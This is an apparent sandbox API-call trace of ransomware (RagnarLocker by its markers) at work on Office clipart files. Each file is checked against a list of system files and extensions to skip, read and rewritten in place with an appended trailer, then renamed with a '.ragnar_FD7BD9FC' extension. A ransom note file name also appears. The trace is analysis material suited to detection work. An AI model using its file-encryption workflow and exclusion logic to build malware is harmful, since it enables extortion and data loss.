[0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="autorun.inf") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="boot.ini") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="bootfont.bin") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="bootsect.bak") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="bootmgr") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="bootmgr.efi") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="desktop.ini") returned 1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="iconcache.db") returned -1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="ntldr") returned -1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="ntuser.dat") returned -1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="ntuser.ini") returned -1 [0082.310] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="thumbs.db") returned -1 [0082.310] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.310] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.310] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.310] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.310] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.310] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.310] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0082.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.311] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31180) returned 1 [0082.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x79c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.311] GetProcessHeap () returned 0x580000 [0082.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.311] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.313] VirtualAlloc (lpAddress=0x0, dwSize=0x79cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.313] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x79cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x79cc, lpOverlapped=0x0) returned 1 [0082.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.315] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x79cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.315] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x79cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x79cc, lpOverlapped=0x0) returned 1 [0082.315] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x79cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.315] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x79cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.315] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.315] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.315] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.316] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.316] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.316] GetProcessHeap () returned 0x580000 [0082.316] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.316] CloseHandle (hObject=0xf4) returned 1 [0082.316] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" [0082.316] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.ragnar_FD7BD9FC" [0082.316] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.316] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0082.316] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.316] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01660_.WMF" | out: lpString1="FD01660_.WMF") returned="FD01660_.WMF" [0082.317] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned=".WMF" [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="autorun.inf") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="boot.ini") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="bootfont.bin") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="bootsect.bak") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="bootmgr") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="bootmgr.efi") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="desktop.ini") returned 1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="iconcache.db") returned -1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="ntldr") returned -1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="ntuser.dat") returned -1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="ntuser.ini") returned -1 [0082.317] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="thumbs.db") returned -1 [0082.317] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.317] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.317] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.317] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.317] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.317] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.317] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0082.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.317] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12958) returned 1 [0082.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3295, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.318] GetProcessHeap () returned 0x580000 [0082.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.318] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.319] VirtualAlloc (lpAddress=0x0, dwSize=0x329e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.319] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.319] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.320] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x329e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x329e, lpOverlapped=0x0) returned 1 [0082.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x329e, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.321] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x329e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x329e, lpOverlapped=0x0) returned 1 [0082.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x329e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.321] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x329e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.321] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.322] GetProcessHeap () returned 0x580000 [0082.322] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.322] CloseHandle (hObject=0xf4) returned 1 [0082.322] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" [0082.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.ragnar_FD7BD9FC" [0082.322] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0082.322] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.322] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02068_.WMF" | out: lpString1="FD02068_.WMF") returned="FD02068_.WMF" [0082.322] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned=".WMF" [0082.322] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.322] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="autorun.inf") returned 1 [0082.322] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="boot.ini") returned 1 [0082.322] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="bootfont.bin") returned 1 [0082.322] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="bootsect.bak") returned 1 [0082.322] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="bootmgr") returned 1 [0082.322] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="bootmgr.efi") returned 1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="desktop.ini") returned 1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="iconcache.db") returned -1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="ntldr") returned -1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="ntuser.dat") returned -1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="ntuser.ini") returned -1 [0082.323] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="thumbs.db") returned -1 [0082.323] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.323] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.323] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.323] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.323] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.323] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.323] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0082.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.323] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2488) returned 1 [0082.323] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.323] GetProcessHeap () returned 0x580000 [0082.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.323] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.325] VirtualAlloc (lpAddress=0x0, dwSize=0x9b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.325] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9b8, lpOverlapped=0x0) returned 1 [0082.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.325] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.325] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9b8, lpOverlapped=0x0) returned 1 [0082.325] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.325] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.326] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.326] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.326] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.326] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.326] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.326] GetProcessHeap () returned 0x580000 [0082.326] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.326] CloseHandle (hObject=0xf4) returned 1 [0082.326] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" [0082.326] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.ragnar_FD7BD9FC" [0082.326] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.327] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0082.327] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.327] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02071_.WMF" | out: lpString1="FD02071_.WMF") returned="FD02071_.WMF" [0082.327] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned=".WMF" [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="autorun.inf") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="boot.ini") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="bootfont.bin") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="bootsect.bak") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="bootmgr") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="bootmgr.efi") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="desktop.ini") returned 1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="iconcache.db") returned -1 [0082.327] 